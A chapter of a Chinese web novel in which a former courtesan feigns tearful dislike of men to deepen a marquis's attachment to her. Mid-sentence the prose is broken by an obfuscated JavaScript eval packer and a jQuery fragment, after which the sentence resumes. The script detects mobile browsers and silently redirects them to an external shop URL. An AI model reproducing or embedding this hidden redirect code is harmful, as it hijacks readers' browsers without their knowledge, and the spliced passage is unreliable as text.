文趣网 > 其他小说 > 媚色生香 > 17. 厌男
    是夜,傅晋庭吩咐去唤容姒来。

    她来得有些迟。

    如今正是盛夏时节,窗外蝉鸣吱吱不断,伴有蛙鸣聒聒,无端令人心生几分燥意。

    傅晋庭坐在卧房中黄花梨木桌前,倒了一杯凉茶饮下,过了盏茶功夫,有熟悉的脚步声响起,容姒垂着眉眼,绕过山水屏风后现身。

    他目光敏锐,只一眼,便发现她眼圈微泛着红,眼皮略红肿着,定是哭过了。

    “侯爷。”

    她嗓音不似平日那般清澈灵动,有些许的沙哑,见完礼也不敢抬头看他,自顾自地按照往常的惯例,走向那架宽大名贵的拨步床,撩开白纱又规矩放下,挡住他的视线。

    窸窸窣窣的声音传来,白纱帐内她朦朦胧胧的身影拂动,是在褪下身上的素色长衫。

    她抬手把头上步摇一取,三千青丝瀑布般落下,抬起纤长的腿,爬上于她而言有些高的架子床。

    傅晋庭蓦地收回目光,又喝了一杯凉茶。

    容姒裹着云锦被缩在床里侧,身后蓦地一沉,他健硕的身躯离她很近。

    一室静寂,只听得见彼此的呼吸声。

    “你——”

    “侯爷——”

    二人忽然同时出声,又不约而同止住。

    半晌,容姒轻声道:“侯爷,你先说吧。”

    傅晋庭默了默,道:

    “太医的事我听说了,你按时吃药。”

    他这是,在关心她?

    容姒眸光微动,看来这段时间多少有些进展,方向没错,不算白干。

    她呼吸重了些,似是被他的话勾起了情绪,平复片刻,方才回道:

    “侯爷,没关系的,容姒已经想通了,反正容姒身若浮萍,能平静度日已是上天恩赐,没想过这辈子会嫁人生儿育女。”

    嫁人,生儿育女。

    她若要嫁人,能嫁给谁?

    如今跟着他,自然不会嫁给旁人。

    但他也不会娶她。

    傅晋庭沉默抿唇,罕见的有些思绪纷乱,蓦地,又听她说:

    “……侯爷,会一辈子收留我吗?”

    一辈子……

    太过长远的事,他没想过。

    傅晋庭不由顺着这个假设往下想,假若她未来几十年都跟着自己,自己肯定不会娶妻纳妾,可她,真的就一辈子困在他身边不嫁人吗?

    以她的品貌,自然是不愁嫁的,才见过一面,贺引成便念念不忘,更别提从前在教坊时就有不少人垂涎,比如那个老东平伯……

    傅晋庭的眉头越皱越紧,只觉额头上青筋跳起,眉心隐隐作痛,愈来愈烈,旧疾又犯了,他理所当然地止住念头,不再往下想。

    亦或是他自己都没意识到的,他根本不愿想象,有一日她嫁给旁人的画面。

    他深吸口气,嗅到她身上熟悉的暖香,眉头逐渐舒缓。

    容姒等了半晌,未听得他的回应,佯作失落道:

    “……侯爷,是容姒愈矩,不该问——”

    “可。”

    “嗯?”容姒语气讶然,“侯爷的意思是,会一辈子收留容姒吗?”

    “会。”他回复得快而肯定,末了,语气忽然有些冷淡地声明:

    “但我不会娶你。”

    容姒眸中暗光浮动,作出松了一口气的模样:

    “侯爷,吓我一跳,您放心,只要愿意收留我,让我过如今一般衣食无忧平平静静的生活,容姒就很满足了。”

    末了,她轻轻道:

    “侯爷不会娶我,容姒也从没想过要嫁给侯爷。”

    傅晋庭沉默抿唇,她没想过要嫁他?

    这是他想要的答案,可不知为何,听了又没意想之中的满意。

    过了许久,他终于忍不住问:

    “你不想嫁人?”

    似是这个问题太难,良久,才听见她一声轻叹,声音糅杂着难辨的复杂情绪。

    “……从前,从前还没被抄家的时候,家父曾为我订过一门亲,后来,家中大难,物非人非,以我如今命如草芥身若浮萍的卑贱身份,婚事定然也不作数了……”

    她还曾订过婚事?

    傅晋庭只觉喉头微哽,有些不适,他闭上眼,手掌不自觉捏紧了些。

    她是否还念着那门婚事?

    甚至为此,一辈子不愿再嫁人……

    他眉头不自觉越皱越紧,神色间浮现他自己都未察觉的冷峻。

    在他看不到的地方,容姒眨眨眼,感受着身后男人的气场变化,唇角勾了勾,火候差不多了,不能逼得太狠。

    她语气释然地接着道:

    “侯爷,若是六年前,容姒会满怀憧憬地想象做新娘子的那一天,可入教坊六年,容姒早已不是曾经那个天真的姑娘了。”

    “这么多年来,我在教坊内小心翼翼,从不主动招惹客人,可是总有客人,点我弹琵琶,为的不是听曲,而是用那种,那种下流的眼神看我,我,我实在不喜……”

    似乎回忆起那些腌臜画面,她声音中带着避之不及的嫌恶,末了,深吸口气红唇张合吐出几个字:

    “我讨厌男人。”

    傅晋庭一怔,讨厌男人?

    “不,也不是讨厌所有的男人,”容姒似乎怕他误会,忙解释,“我只讨厌,那种,那种对我有下流想法的男

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743834|209175||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人。”

    “像是侯爷,侯爷您这样的正人君子,容姒是不讨厌的。”

    他是正人君子,不讨厌他?

    不知为何,往日无论是公堂上处理命犯大案,亦或是朝堂上面圣陈情,他都逻辑通顺思路清晰游刃有余,可今夜听了她连番话语,他常陷入短暂的思绪迟钝混乱之中。

    沉默许久,傅晋庭才消化掉她所说的话,得出结论。

    她不想嫁人,是抗拒男人对她有那方面的欲想。

    然而这个结论,又令他陷入一种长久的沉默中。

    他努力转移思绪,不期然傍晚听到的话又浮现在耳边——

    “唉,她也是可怜,又生不了孩子,又没名分,往后的日子可不好过。”

    名分……

    他无名无分的跟着自己,确实可怜,是否要给她一个体面?

    这辈子,不沾女色,不娶妻纳妾,是他多年前便已决定的。

    心中忽然警铃一响,傅晋庭神思顿时清明。

    他不会违背自己的底线。

    傅晋庭抿唇,倏地起身下床,到里间回避。

    “你且去榻上睡吧。”

    结束后她会留在房中过夜,这是以前也有的惯例。

    容姒应了声,等不见他身影,规规矩矩起床穿衣,来到临窗的美人榻上和衣睡下。

    傅晋庭回屋时,视线飞快掠过,见她衣裳整整齐齐穿着,上身盖着一层薄被,面朝窗侧卧着,睡颜恬静。

    讨厌男人……所以,一直以来,她能够区别于其他女人,规规矩矩不勾引自己,是因为她本身也讨厌那等事吧?

    傅晋庭回顾以往,除去最开始在城南小院她试探过自己一回,往后她便始终规矩本分,没有任何愈矩之举。

    他暗自点头,这便说得通。

    既如此,她规矩本分,他虽给不了她名分,其他方面倒可勉强宽泛些。

    故,接下来一连好几日,甭管其他几位美人施展出什么手段,傅晋庭只夜夜要容姒入房中,直到天明方出。

    又指派了一个小丫鬟,专门伺候容姒,是其他美人都没有的待遇——她们自己都只是个奴婢的身份。

    如此,虽未有实质上的名分,容姒的地位俨然同她们区分开来。

    人性惯来如此——见风使舵看菜下碟,如先前那般,众美人敞着天光说容姒闲话的情况未再出现。

    傅晋庭很满意。

    满意之余,又派人去仔细查探容姒的过往经历。

    她曾有个未婚夫。

    此事,如同一根极细的鱼刺,始终梗在喉口,忙碌时会忘记,平静时却总能感知到,不上不下,难以下咽。